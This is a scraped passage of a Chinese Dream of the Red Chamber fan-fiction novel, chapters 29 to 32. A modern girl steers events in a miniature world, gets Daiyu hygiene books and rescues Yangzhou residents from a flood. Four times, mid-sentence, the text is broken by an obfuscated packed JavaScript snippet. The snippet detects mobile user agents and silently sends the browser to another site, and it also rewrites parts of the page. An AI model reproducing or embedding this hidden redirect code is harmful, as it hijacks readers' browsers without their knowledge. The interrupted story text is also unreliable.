跟着老太太在一旁看新鲜的王熙凤和李纨妯娌俩听着这话,都不敢接,只能讪讪笑了。 王爷有眼光,那没有眼光的是谁呢? 被自己母亲隐隐嘲讽的贾政这会还不知道发生了什么事,他正坐在书房里问贾环和贾兰的学业。这叔侄年岁相差不大,但脾气、性格却很是不同。同样的问题,贾环回答得结结巴巴,贾兰虽然不能说对答如流,但也看得出来是在读书上下过功夫的。 贾政看着这个孙儿,眼中难得有了点欣慰和温情,“你果然是随了你父亲。” 等见了贾环的功课,贾政的神情又严肃起来,把这个儿子一阵厉声训斥。贾环心中难免不平。宝玉也不好好读书,为什么父亲不管,只单骂他一个。 “我如今好歹还在学里读书呢,二哥哥整天只和姐姐们厮混,怕是连四书是什么都忘记了。” 贾政听了他的低声吐槽,脸色一变。旁边几个清客见状忙来扯开话题,不料贾环还以为自己说中了贾政心思,也不顾旁边贾兰偷偷扯他的袖子,又直筒筒冒出来一句。“今天二哥哥还把那蒸汽车带进府里了,大伙儿都去看热闹呢!” 他本以为贾政立时就要勃然大怒,但那蒸汽车三个字却如针扎一般刺入贾政心中。贾政脸色变幻一番,终是长叹一声,挥手让贾环、贾兰退下了。 贾环愤愤然走了,贾兰松了口气。等到母亲回来,贾兰把这一切都和李纨说了。李纨听了又好气又好笑,“我们都是在老太君院子里呢,莫非老爷还能拂了老太太的脸面不成。而且三妹妹也在,环哥儿竟是连自己一母同出的姐姐都不顾了。” “你以后尽量远着他点。”李纨吩咐完儿子,又叹道,“你宝叔叔虽然不爱正经读书,但如今在杂学上倒是磨练出来了,知不知道你以后的出路在哪里。” 贾兰虽然聪慧,但毕竟年幼,没太听懂李纨的担忧,只是乖乖地和母亲保证会好好读书,为母亲挣个诰命。 另一边,王夫人也知道了贾环告小状的事情。她自然是气得不行,但临近贾政的生日,她便只好先把这事放下,等空了再找机会理论赵姨娘。 她虽然是这样想的,但事情总不如预想中进行。贾政寿宴当日,一桩大事突然出现,让她先惊后喜,早把这些后院的龃龉都忘干净了。 贾府这一代的嫡出长女,进宫数年默默无闻的元春突然受封凤藻宫尚书,加封贤德妃! 一时间,宁荣两府上下都是狂喜。贾政在临敬殿面见天子,史老太君带着王夫人、邢夫人和尤氏进宫谢恩,贾珍、贾赦、贾琏也跟着去了。 贾府王熙凤、李纨这些年轻的媳妇和未出嫁的姑娘们自然都是喜上眉梢,连梨香院的薛姨妈和宝钗也都过来道喜,只有林黛玉带着紫鹃在自己的屋子里静静看书。 没过一会,被大家弄烦了的宝玉也躲了过来。“大姐姐有好事,大家贺一声、高兴一阵也就罢了,为什么要一直和我道喜?与我有什么相干?” 黛玉看他一眼,抿嘴笑道,“你都懂这个了,就不该再自寻烦恼。” 宝玉一愣,想了一想,点头道。“对啊。我以为不相干的,他们却以为正相干。那他们自相干他们的,我只管我的不相干就是了。” 紫鹃却听得有点懵,“什么想干不相干的,听得我都糊涂了。” 黛玉拉了紫鹃袖子一下,“你理他作什么,反正也不与你相干。” 宝玉忙点头,“不相干,的确不相干。” 紫鹃:…… 有时候她也不是很懂她家姑娘和宝二爷的话。 好在紫鹃是个不爱计较的性子,“宝二爷,我去给你倒茶吧。” 紫鹃走后,宝玉就坐到黛玉的身边。看见桌上放着的书,宝玉奇道,“妹妹怎么又在看医书,林姑父的病如今不是已经全好了吗?” 黛玉合上书页,状若无事,“这些都是从扬州带过来的书,今天拿出来翻翻,也省得被虫蛀了。” 这理由编得实在不好,宝玉当然不能相信。他看看书上边角处写得满满的笔记,突然明白。“妹妹是想学医?” 黛玉愣了一下,“胡说什么。我是女子,如何能学医,不过是闲暇时翻翻罢了。” “女子如何不能学医?”宝玉可不管这些,“义妁、鲍姑不都是女子。” 黛玉叹了口气,“就算我想习医,又如何学?总不能真就拿几本医书看看就当是学了吧。学医治病可不比你做机关用具,试一个不行便重试一次……” 宝玉想了一想,他也不认识什么靠谱的医生。但随即他又想到了宝珠,“不如我们下次问问宝珠姐姐?她总是知道的。” 黛玉其实也想过求助宝珠,但她又没有想好自己是一时兴趣,还是长久爱好,所以还犹豫不决。在宝玉的鼓励下,黛玉终于还是踏出了第一步。 “你想学医?”宝珠将之前见过的几幕串联起来,恍然大悟。 可宝珠也不懂医啊,这玩意可不在她的知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260415|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库里。好在宝珠也是有外援的,于是刘大医生又一次被宝珠召唤了出来。 “问我该怎么学医?”好不容易休息一次、能够从容大吃一顿的二姐觉得面前的火锅都不香了。 她像看弱智一般地看着宝珠,清清楚楚地吐出一句话,“好好读书,高考选医科大学。” 然后,没了。 宝珠嬉皮笑脸地双手合十,“二姐,二姐,帮帮忙。那个妹妹现在在国外,上不了国内地大学。她只是想自学一点医学知识,有没有什么便捷的法子啊。” “你觉得有自学的法子我还要这么辛苦的读书、读博、实习吗?”刘文婷翻了一个白眼,涮了一张毛肚放进嘴里。她突然觉得宝珠话里的某个要素比较熟悉,“又是国外,不会还是上次说的在网上求助的那个人吧。” 宝珠嘿嘿一笑。 “她的父亲病好了吗?” “已经好了。” “那就不要再瞎想了,自学是肯定没法子的,也没必要。那女孩多大了,怎么还想这些不着边际的事。” 宝珠伸出两个指头。 “才二十?”那估计是个学生或是刚刚走上社会的年轻人,对世界和自己还抱有不切实际的的期待,脑子里面有水很正常。 宝珠摇摇头。“十一岁。” “靠!”刘文婷放下筷子,直接去捏宝珠圆润饱满的小脸蛋。“人家十一岁的小朋友异想天开也就罢了。你也十一岁吗,知不知道什么是‘遂学医,自撰一良方,服之,卒’啊!你这样会变成教唆犯的!” 宝珠被捏得鼻子眉毛都皱在一块了。为什么你们一个个都喜欢捏我的脸。她试图为自己辩解,“什么卒不卒的,我不知道啊!我这不是来请教你这个专家了么!” 刘文婷于是认认真真地教训了宝珠一通,务必要打消她的不靠谱思想,连带着也要挽救那个想要自学医术的小女孩。生怕女孩子的一片好心不小心就变成了悲剧。 听刘文婷说得严重,宝珠也退了一步,“不学医,学点卫生知识和医护实用术总可以吧。主要是小姑娘身边也没有一个靠谱的医生,多懂点知识也好。” 不提林如海,贾府里先是有一个被庸医误诊、耽误了病情的秦可卿,后面也有被下了猛药,小病变成大病的晴雯,可见好医生确实难找。 “如果是卫生知识倒还罢了,我待会就给你推荐几本,还有日常急救方面的也可以看看。”刘文婷终于松了口,“但千万不要再想着自学医术什么的了。” 宝珠嘿嘿一笑,连忙点头,“明白,我明白。” 她这毫无诚意的样子让刘医生觉得自己更想掐人了。她强忍住冲动,赶紧把推荐的几本卫生常识和急救书籍名字告诉宝珠,然后就低头猛吃起来。 她觉得自己有点亏,必须大吃特吃,把今天受损的脑细胞都吃回来。 而且下次绝对、绝对不再和宝珠讨论这些不靠谱的话题了。 30.第 30 章 虽然被二姐质疑了一番智商,还被狠狠地吐槽了一通,但欧宝珠自己觉得非常值得。下午拿着刘文婷开出的书单到书店里采购一番,但这一次宝珠就不敢自己再做二次加工了,毕竟她对医学毫无认识,万一弄岔了就不好了。 “谢谢宝珠姐姐。”黛玉接过书,笑得很是灿烂,像是蓓蕾在春风中舒展了花瓣。 看黛玉的心思已经有一半都转移到面前的书本上,而宝玉又去了北静王府那边,宝珠干脆切到了扬州那边。 刚一转换地图,宝珠就被眼前的一切惊呆了。 上两次扬州也在下雨,但这一次的雨势却出乎了宝珠的预料,已经可以用狂风暴雨、大雨滂沱来形容了。而且天阴沉沉的,明明是上午时分,却看上去像是黑夜一般,连宝珠那如同加了BUFF的目光都几乎无法穿透雨幕看清下方的人群。 扬州的街道上无数人在狂奔着,有穿着官服的衙役在敲着锣。 “涨水了、涨水了!靠近河岸的人家赶紧搬走!” “快走,快走!” 临街的院门于是陆续打开了,听到声音的人打着伞出来探问情况,但小吏们只顾呼喝着让他们快点走,一路又往着其他地方去了。 有些人跟着就回去收拾细软,拉着父母妻儿往外面跑。也有些人犹豫不决,但看到街坊们都出了门,他也就慌里慌张着张罗着一家人逃命。还有些人心善,一家一户地去敲那些没有动静的人家。 “张爷爷,快出来,要涨水了!” “二妞,带着你娘和我们走。哎呀,别抓鸡了,快走快走!” 浑浊的河水在弯曲的河道里疯狂地奔涌着,随时就要冲出堤岸的桎梏。上次宝珠曾经帮助固定的那一只小舟,此时已经完全不见了踪影。而平素繁华热闹的河岸只剩下一片狼藉和混乱。 除了极少数没有听到声音,或是还怀着侥幸心理的人家。几乎沿岸的所有人都涌到了大街上。大家都埋着头往前面挤,不时有人扯着嗓子呼喊在人群中挤丢了的亲人。还有胆子大的混混趁乱到人去楼空的房子里行窃,但这时也没有人顾得上管他们了。 宝珠最开始也有点慌,但她想了一下,甄家所住的小巷这里离河岸比较远,还算安全。于是她先去看被她安置在废园中的乞儿们。 废园处在河岸下流的一处拐角,这里人迹稀少,衙役们还没有过来提醒。而多日大雨无法行乞,孩子们又不知道着宝珠什么时候会来,所以虽然剩下的食物还不少,他们也只敢省着吃。这时,勉强填饱肚皮的孩子们正乖乖地待在储物罐屋子里减少消耗。 “外面怎么了,好吵啊!”一个耳力好的孩子说道。 最大的孩子也听到了声音,隐隐约约察觉到不对。他想了一想,“我出去看看。”等他冒着大雨跑到院子门口的时候,这才发现河水已经漫到了临近的道路上。 “糟糕!”这个孩子是扬州本地人,立刻明白了危险。他忙跑回屋子,大声把还在茫然的孩子们都招呼起来。“外面涨水了,我们得快点离开这里!” “为什么要走?”小孩子们一脸慌张地看着他,最小的那个甚至哭了出来。他们好不容易有了一个可以容身的地方,这里又安全又温暖,让他们甚至产生了有家的错觉,他们一点也不想离开。 大些的孩子中也有人表示,外面雨那么大,如果找不到可以遮雨的地方,他们一样好过不了。而且还有一件更重要的事,“要是我们离开了,神仙找不到我们怎么办?” 这个问题一出,连原本坚决要大家离开的大孩子都犹豫了。但外面越来越大的嘈杂声和越来越上涨的河水唤醒了男孩的神志,他咬咬牙,“先活下来再说,把剩下的吃的都拿好,我们马上走。” “我们的被子……”一个孩子望着才盖了几天的细软布料,依依不舍。 “只要吃的,被子拿了也没有用!” “对、对!”另一个大孩子终于也反应过来,“那么好的布料,拿了也会被人抢走的!” 正在孩子们慌里慌张收拾食物的时候,宝珠终于在一片朦胧的雨幕中找到了他们。 “一、二、三、……七。”宝珠数了数,还好小孩子们一个不少。看到他们正在收拾东西,宝珠一边为他们的警惕心点赞,一边又庆幸自己来得及时。这些孩子小的只有五六岁,最大的也不过才十一二岁,若是也加入外面逃难的人群,不知道会怎么样。 “咚咚~”宝珠轻轻敲了敲门,但外面的风雨太大,孩子们又都忙碌着,没有发现他们之前心心念念着的“好神仙”已经来了。 宝珠只好把手指伸进门,在地板上再次敲了敲。“咚咚~” 这下,孩子们终于察觉到地面的震动,又发现了地板上多了一处湿漉漉的水痕。立刻有人喊了起来,“神仙来了,神仙来救我们了。” 还是挺机灵嘛,不枉她投喂了两次。 眼看外面的河水上涨的越来越快了,宝珠也顾不得安抚孩子们激动的情绪,先把门牢牢关上,然后就一手把整座屋子抬了起来。根据她的经验,只要她把箱子里的物品抬离了地面,在地面的人看来物品就也跟着隐形了。所以她这时也就可以毫无忌惮地转移屋子,不用担心有人看见空中飞屋。 “啊~”虽然她尽力稳住没让屋子有太多晃动,但屋子里面还是传来了东西滚动的声音和孩子们的惊叫声。好在这里僻静,雨声又大,没有人察觉空中的异响。 宝珠也不多耽搁时间,她早就看好了地势,直接往旁边走了两步,把这座小屋安放到了城西面的一处山坡上。为了稳固,她还使劲把小屋往泥土里摁了摁。于是,里面孩子们的叫声更大了。 直到宝珠打开门,孩子们还在“哇!哇!”的乱叫着。好一会,他们才发现屋子已经不再摇晃,刚才随着摇摆乱动的木床和桌子也已经恢复了平静。 刚才怎么了? 是神仙觉得他们要离开,所以惩罚他们吗? 年纪最大的孩子忐忑地走到门边,而下一刻他就瞪大了瞳孔。废园和已经漫到园中的河水都不见了,让他心生恐惧的河水咆哮声和人群呼唤声也同时消失了。现在在他眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313394|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是隐在雨幕中的绿树,耳边也只剩下了单纯的雨声。 “神仙把我们挪到安全的地方了。”男孩立刻明白刚才发生了什么,他忙跪下来,一边磕头感谢、一边为自己刚才的揣测愧疚。“谢谢神仙,谢谢神仙。” 孩子们都涌了上来,几个还小的孩子虽然懵懵懂懂的,也被大孩子们带着一起跪下。“谢谢神仙!” 而这时宝珠的视线已经离开了这所树林中的粉红色小屋,她眼中是咆哮的河水,和两岸拥挤的人群。虽然大家都在往高处跑,但显然衙役们的提醒来得有些晚,而河水漫过堤岸的速度又超过了他们的预料。 宝珠挠挠头,没有办法了,直接上吧。 她跑到厨房,在柜子里一通乱翻,找出了一个大号的不锈钢勺子。这汤勺基本没有用过,放在碗橱了都落了一层薄薄的灰。宝珠又去生活阳台拿了拖把桶,然后一溜小跑回到了造景箱边。 宝珠比划了一下,把扬州城的尺寸缩到最小,汤勺正好填满河道的最宽处。 “轰隆隆~” 河水在造景箱中汹涌狂奔,放出了堪比雷电的轰鸣声。 宝珠把勺子放下去。 一勺。 两勺。 舀出来的河水被宝珠倒进了拖把桶。 宝珠等待了两秒,看那些河水安安分分的待在桶底,没有什么要变大或作妖的趋势,这才定下心来,继续舀水。 一勺。 一勺。 再一勺。 没人注意到,雨幕中咆哮的河水行到某个地方,河水水面突然消失了一大块,水位也猛地一沉。 但随即更多的河水奔涌而至,填补了刚才的缺口,把水位也再次抬升回来。 宝珠努力地舀了几分钟,手都开始发酸了,但河水依然滔滔不绝,宝珠没有办法,一边继续坚持,一边想着解决的办法。 对了,运河,扬州城里的水大部分都是从运河那边来的。 宝珠把视线转向扬州城外,果然运河这边的水势更凶。波浪推着波浪,河水翻滚着通过水系连接的口子朝扬州城内的河道涌来。 宝珠想了想,停下舀水的手,跑到厨房里找了一个烤肉的铸铁烤盘。幸好我虽然不下厨房,但日常喜欢买买买。宝珠一边庆幸着,一边将这个再结实不过的烤盘沿着运河岸横插进泥土中。 “哗哗哗~~” 河水沿着之前的路径奔向分岔口,却被一道突然出现的透明屏障挡了回来。 “哗哗哗~~” 没能找到入口的河水愤怒了,一浪接着一浪拍打在屏障上,但它的愤怒此时却是无力而徒劳的,只好又重新回到了原本的河堤中。 看来这招管用。宝珠叹了口气。松开了拿着烤盘的手。 “刚才怎么了?!” “水怎么被堵住了?!” 无数的声音响起,欢呼声和庆幸声中也带着少许的不安,而这时,那道堵住了河水的看不见的屏障也在众人的眼中渐渐有了形状。 “这是什么?!” 31.第 31 章 “一座黑色的城墙从天而降,挡住了洪水?” 扬州府衙的后堂里,有些富态的扬州知府震惊地说道。然后他看着来报信的小吏,脸上露出了厌恶的表情。 “我让你去探察水情,你从哪里听来这些神神怪怪的话!” “大人,小的没有乱说,岸边的人都看到了。而且现在那城墙还在呢,大人要是不信,可以去看看!”穿着蓑衣的小吏跪在地上,身上还答答地滴着水。被知府这么劈头盖脸地责骂,这个着急回来报讯的年轻人有些委屈。 正聚在一起讨论灾情的官员们再一次面面相觑。 这小吏刚才说的话语荒诞无稽,但神色却不似作伪。他虽然是个年轻人,想来也不至于昏头到这个份上,若是城外没有什么铁墙,他这祸可就闯大了。 端坐在知府下手的林如海却没有和同僚们对视,他低着头,眼神变了变,若有所思。 知府正踌躇着,又有人慌慌张张过来报信了。“大人,有神仙在城外救人!!” “什么?!”这下所有人都站了起来。 这个小吏也有些慌,被几位上官围着,结结巴巴地说不清楚,只会重复那句“有神仙,神仙来了!” “府尊,这些小吏嘴拙说不清楚,不如我们移步去城外看看?”林如海冷静地对知府说。 “对对,外面洪水已经被仙人的法器挡住了,大人们请勿忧虑,可放心一观。”后面来的这个小吏连连点头。 知府想了一想,也觉得坐在府衙里辨别不出真伪,一咬牙道,“罢了,去就去吧。”他又对在场的诸多官员说,“诸位也随本府同去看看吧。” 众官员中当然也有胆小怯弱不想去的,但在场品级最高的府尊和皇上信重的御史都这样说了,他们也只好唯唯诺诺地应了。 很快,两位小吏骑马领头、一队载着五、六位扬州官员的马车就冒着风雨出了府衙。这时风雨如晦,道路泥泞湿滑,车夫小心地驾驶着马车,但仍不时有埋头狂奔的人冲撞过来。好在车夫和随行的衙役们都很机警,及时将他们喝斥着赶开了,路程这才没有受到阻碍。 林如海轻轻掀起车帘的一角,大颗大颗的雨滴立刻随着风闯进车内。林如海打量着一路上的情景,眼见外面风雨交加,人群混乱,心中也不免多了几分忧心和莫名的期盼。过了一会,发现马车行驶的方向离河岸越来越近,一贯谨慎的林如海皱起眉头。这些小吏也太不用心了,河水都要漫出河堤了,怎么能为了贪快还从这里走呢? 他探出头,正要让人把领路的小吏叫过来,却惊讶地发现前方河道中的水位居然比他之前所见下降了大半。 雨势不见小,而水位却降了? 这是什么道理? 林如海心中一惊,然后又想到刚才那两个小吏汇报的事,悬着的心略松了松,对他们的话又多了几分信心。 一行人安全地经过河岸和石桥,距离城门越来越近。而路上慌乱的人群也越来越少了,林如海甚至发现有人正呼朋唤友地冒着大雨往城外赶。 “去问问,他们要去做什么?”林如海招手叫来自家的长随。 过了一会,那长随一脸莫名地回来。“老爷,他们说是城外面有神仙在教人,他们是去看热闹呢……” 林如海握着车帘的手一紧,往外面望去。但风雨之中,他什么也没有看到。直到城门近在眼前,所有人才突然发现在城门外面有一抹隐隐约约的黑色影子如山岳般耸立在雨中。 “那是什么?!” 除了前面带路的两个小吏,后面跟着的人、车都不自觉停住了脚步。 平时自认见多识广、且最重仪表威严的官员们,此时与自家的小吏长随、普通的平民百姓们一起发出了同样的惊呼。 “那是什么?!”老迈的江都知县的声音最为尖利,几乎要盖过嘈杂的风雨声。 年轻小吏勒马回了几步,停在知府的车前,指着那座高大的黑影,一脸兴奋。“大人,那就是神仙降下的铁墙啊!” “快快!速度快点!”知府这时也顾不得质疑什么了,一叠声地催促车夫加速。正处在震惊中的车夫被催了一下,这才抖着手、一脸惶恐地继续驾车。好在马儿们并不知道人类的惊慌,依然温驯地载着他们前进。 经过城门,往常守在这里的卫兵都不见人影。但这时也没有人顾得上这些,大家都想着快点到城外去一看究竟。 出了城门,众人的视线终于再也没有阻碍。他们看到了占据了他们全部视线的黑色城墙。 这座比扬州城门还要高大数倍的黑色城墙就这么静静地耸立在那里,好像它一直都在这里似的。看不见砖石、看不见纹路,只有大片大片的纯黑色如同夜幕般静默无声。 虽然知道是它将洪水挡在了外面,但所有看到它的人第一时间还是忍不住涌起某种莫名的惊恐。不是因为它的突然出现,也不是因为它和周遭的一切格格不入,而是单纯被它本身所震慑。 马儿们也终于感觉到不适,任凭车夫如何驱赶都不肯再往前了。 “下车,往前走!”胖胖的知府率先跳下马车,也不理会小吏长随要为他披蓑衣和打伞的举动,自己提着袍子就往那城墙面前跑。 “大人,大人!”明明知府年纪不小了,身材也敦实,但后面跟着的一群人此时都不如他腿脚灵便。 知府第一个来到城墙脚下,他试探着将手掌附在墙身。就如他刚才所见到的,这里没有砖石、没有缝隙,平滑得如同这是一个整体。 不,这就是一个整体。 “真是神物啊!”知府绞尽脑汁也想不出古书中有何对应的存在,只能一声长叹。 林如海是第二个到达的官员,他也学着知府的模样触碰城墙。 正在这时,他们听见身后的人发出巨大的惊呼声。 “天上,天上有东西!” 他们抬起头,却发现原本打在脸上的雨点消失了,又有一道巨大的黑影在天空中出现,正好挡在了他们的上方。 “那是什么?!”之前一直还算镇定的林如海终于也惊讶失色。 更远方有人在扯着嗓子喊,“那边的人,快躲开!” “躲开!” 但还不等他们这些人反应过来,那个黑影已经从天空降下,重重地落在黑墙和城门之间的地面上。 “轰~” 泥水四溅,然后那巨大的黑影似是无法支撑,像座小山一般往黑墙这边倾斜过来。还发出了恐怖的声响。 “吱呀~” “啊啊~~”跟在知府身后的众人都吓坏了。他们像无头苍蝇那般乱跑,试图躲过这黑影的倾轧。 这时胖知府的声音突然响起,“别乱跑!” “如海兄!”知府一把拉住身边呆愣的林如海,又大声喝住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341026|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在乱跑的其他人。“全部往墙边上来!紧贴城墙!” 满心恐惧的众人下意识听从了上官的喝斥,在慌乱中辨识了方向,齐齐往黑墙这边跑来。 “吱呀~” “哐当~” “啊~~” “轰~” “咚~” 随着最后一声巨响,和头顶处传来的震动,所有声响都静默了。 哦,不对,应该说除了风雨声和人类的尖叫声,其他的声响都静默了。 林如海一直睁着双眼看着前方,但恐惧的心让他其实什么也没有看清。直到尘埃落定,他才松了口气,缩在袖中的双手紧握了一下,这才鼓足勇气去看眼前那个给他们带来危险的东西。 “这是……一条船?” 林如海喃喃道。 “一条大船。”旁边传来了知府同样微微发颤的声音。 身后是坚实的黑墙,眼前是斜靠在黑墙上的大船,林如海等人就被夹在这并不算宽阔的夹缝中。 “如海兄……”胖知府的脸上勉强挤出一丝笑容。 “轰~”大船又再次升了起来。 “啊~~”尖叫声再次响起,但这一次林如海听清了这尖叫声大多来自那船上。 宝珠探出头,看到下方的小人们都好好地待在烤盘边上,不禁松了口气。她刚才急着救人,也就没注意这边突然来了这么多人,差点伤到他们。 宝珠换了个没有人的位置,把手里的船再次放了下去。可怜这艘船上的人白白多受了一次惊吓,不过比起那些沉没在河水中的人,他们的运气已经好多了。 “快过来!” “到这边来!” 远处关注着这边的人也松了口气,一个劲地朝知府他们招手。 “过去吧!”知府叹了口气,率先朝那边过去。走到这里,他们才发现之前出来的人群都聚集在这道黑墙的两侧,只有他们一行人出了城门就直奔到那道黑墙脚下。 “你们怎么跑到那里去了?”喊他们的人还想吐槽几句,突然发现他们身上穿的官服,立刻就变了脸,缩入人群不见了。 怎么都是些大官啊,他不会惹祸了吧。 看到知府一行人走过来,其他人也都慌忙给他们让出路。留在外面的几个小吏和差役也看到了他们,马上过来给他们行礼。 知府哪里顾得上他们,也学着他们之前的样子往运河中看去,然后就发现上游冲来来一艘小船。那船只在激流中浮浮沉沉,眼看就要撞上一棵同样在河水中浮沉的断树,却突然两者都从河水中升了起来。 “神仙又救人了!” 那颗断树很快就被放置到了河对岸的无人之地,那艘小船则依然快速升起,然后就突然消失在众人的视线中。 “怎么不见了?”林如海有些不解。 好在他并没有困惑多久,没过多久,那小船又再次出现在空中,然后落在了河对岸。 “唉~”周围的人群齐齐发出一声叹息。 “船上的人都没了。” “没办法啊,这么小的船。” 林如海打量周围,发现也不是所有人都在看热闹。也有人在一顶奇怪的棚子下烧水熬药,照顾一些湿漉漉的满身狼狈的人。 这些都是被救起的人? 林如海想了想,便不再看那神仙救人了,直接往那棚子的方向走去。 32.第 32 章 欧宝珠最开始并没有认出林如海。直到她再次从水中救上一个抱着门板求生的女童,才在透明的塑料盒子下发现了这个正和幸存者们交谈的男人。 为了方便救人,她已经调整过了造景箱中的尺寸,将箱子范围内的整条运河都尽收眼底。之前放下的塑料盒子在她看来就和一片叶子差不多,而里面的人类也就成了在叶子下面躲雨的蚂蚁。 也是亏了她那只能在造景箱中发挥效用的神奇视力,再加上林如海是盒子下唯一穿着官服的人,惹得她多看了一眼,要不然她还真发现不了这位老熟人。 她以前见到的林如海就是一个脾气极好的人,此时恢复了健康、仪表堂堂,虽然一身官服也依然温和可亲,与他交谈的人都少了几分对官老爷的惧色。宝珠听了几句,明白他这会正试图从幸存者的口中拼凑出运河上游的情况。 “牛头村已经被水淹了。” “枫林渡口那边昨天就没消息了。” “我是小张村的,俺跟俺娘出来找吃的。我娘……我要娘,呜呜呜~~” 宝珠听到这个孩子的哭泣声,不由得心里也一酸。 天地无情,稚子何辜。 也是因为被林如海和众人的交谈吸引住了,宝珠没有注意到河岸边由知府带领着的官员正在向空中那位看不见的神祇跪拜和祷告。但即便是看见了,她也不会对他们的感激有什么回应,也无法回应他们更多的祈求。因为她所能影响到的,也就只有这座造景箱给她展示的世界。 运河的水流依然湍急,从上游卷下来许多的杂草和树木,还有各种各样的家具残骸、淹死的动物、以及……人类的尸体。 虽然宝珠在尽力救人,但得救的终究还是少数。随着一波一波洪峰的到来,被冲下来的杂物和尸体越来越多,而活着的人越来越少。除了刚才那条有一定抵抗风浪能力的大船,就只有小女孩那样侥幸攀附上漂浮物的幸运儿。 趁着没有事情做的空档,宝珠转头看向河岸。饼干盒子里面,那些被救上来的人都得到了很好的照顾。而且林如海身边还多了好几个穿着官服的人,他们正表情严肃地讨论着什么。 见能被救上来的人越来越少,河岸边看热闹的人群已经渐渐散开。有些回家去了,但大部分都去帮助那艘大船上的人。在河里的时候还不觉得,等来到岸上,众人才发觉这艘船实在太大了。船上已经有几个身手矫健的年轻汉子沿着甩下的绳索下到地面,但更多的人看着这样的高度腿都软了。而船家也不敢怎么相劝,生怕风浪没有淹死他们,反而在下船时出了事。 “这是梦吧?”一个瘦弱的年轻人看着离地十余丈的船舷,又摸摸面前坚硬冰冷的黑色墙壁,觉得一切都不像是真的。也许他现在还在上个码头温暖的客栈里做梦,根本没有为赶时间而搭上这条破船。 “大慈大悲观音菩萨、大慈大悲观音菩萨。”一个被儿孙扶着的老妇人显然已经有了感激的对象。“多谢菩萨救我全家老小,老身回到家中定当为菩萨重塑金身。” 虽然风雨声很大,但当宝珠想要知道时,这些声音就清晰地传入了她的耳朵。 这…… 算了,老人家你开心就好。封建迷信也有助于大家快速从惊恐中恢复神智,没见其他人还慌慌张张地,老人家已经开始筹划要怎么酬神了吗?宝珠这样想着,也就淡定了。 地面上的人找来了木板、石头、长绳,也有力工去码头那边扛了一些结实的木头空箱子过来。众志成城,没有宝珠帮忙,他们竟然也搭起了一条还算安全的木板路,让船上的人一个个慢慢地挪下来。 虽然能做的事情已经越来越少,但宝珠还是一直留在运河这边,除了搭救起了为数不多的幸存者外,就是再次恢复了舀水工的工作——也算是为下游减少一点压力吧。直到把默认的三个小时以及之前积累的时间都耗光,她才离开了红楼世界。 这时已经是凌晨三点多了,脱离了精神高度集中的环境,困意一下子席卷而来,但宝珠躺在温暖而安全的被窝里,迟迟不能入睡。 这还是宝珠第一次直面世界的残酷,也是在这时,她心中那个一直模糊的念头终于成形。 我是能做些事的。 我可以做,也愿意做。 ----------- “想不到这世间真的有神仙。可惜神仙没有留下尊号,被救的人里没有一个人能看见神仙的模样。”码头上,知府脱了湿漉漉的官帽,盘腿坐在棚子下,圆乎乎的脸上还带着几分不可思议。他望望这座静默如山的黑色城墙,又抬头看看头顶似水晶又似玻璃的透明棚子,“这样的宝物,大概是从仙宫里取出来的吧。” 如果宝珠听到了他的话,只怕要嘻嘻笑着说一声:对的,这些都是从一个叫“厨房”的仙宫里取出来的。水勺、烤盘、饼干盒,还真是厨房救世。 好在知府并不知道实情,而想到运河沿岸的水祸还在继续和蔓延,在场的众人都心情沉重。只有传言中“前生作恶,今生附廓”的江都知县在一众长官不注意的地方暗自欢喜,毕竟不管扬州府其他地方如何,有神仙留下的黑墙堵住洪水,江都县肯定是能保住的。 回到城内,内河道已经回到了平常的水位,那些刚刚背着行李、扶老携幼离家的人群又渐渐从大街上、从客栈里、从借住的亲友家中回到自己的住所。虽然也有谨慎些的宁愿花钱住在客栈里,但这都是少数。他们空出来的客栈位置刚好给了从大船上下来的客人。至于那些没有钱财的幸存者,则由心中正欢喜的江都知县一力承担了。 知府刚回府衙没多久,扬州府内其他几个县的人陆续过来报讯,有报受灾的、也有报平安的。知府一一和之前从幸存者口中了解的情况对应,然后雷厉风行地给受灾的各县安排如何救灾、如何赈灾,并立即亲自带人到某个谎报灾情的县视察情况、处置灾情。其他几个县的官吏一边庆幸着自己县里老实,一边带着府里的指示回去忙碌了。 至于林如海这边,他离开府衙后就召集来了扬州府的各家大盐商,询问盐场的情况,并根据情况着手安排后续事宜。中间他又抽空让老管家去看甄家姐妹,得到了一切平安的消息。 等到所有事情忙完,已经是夜深人静。林如海挥退所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 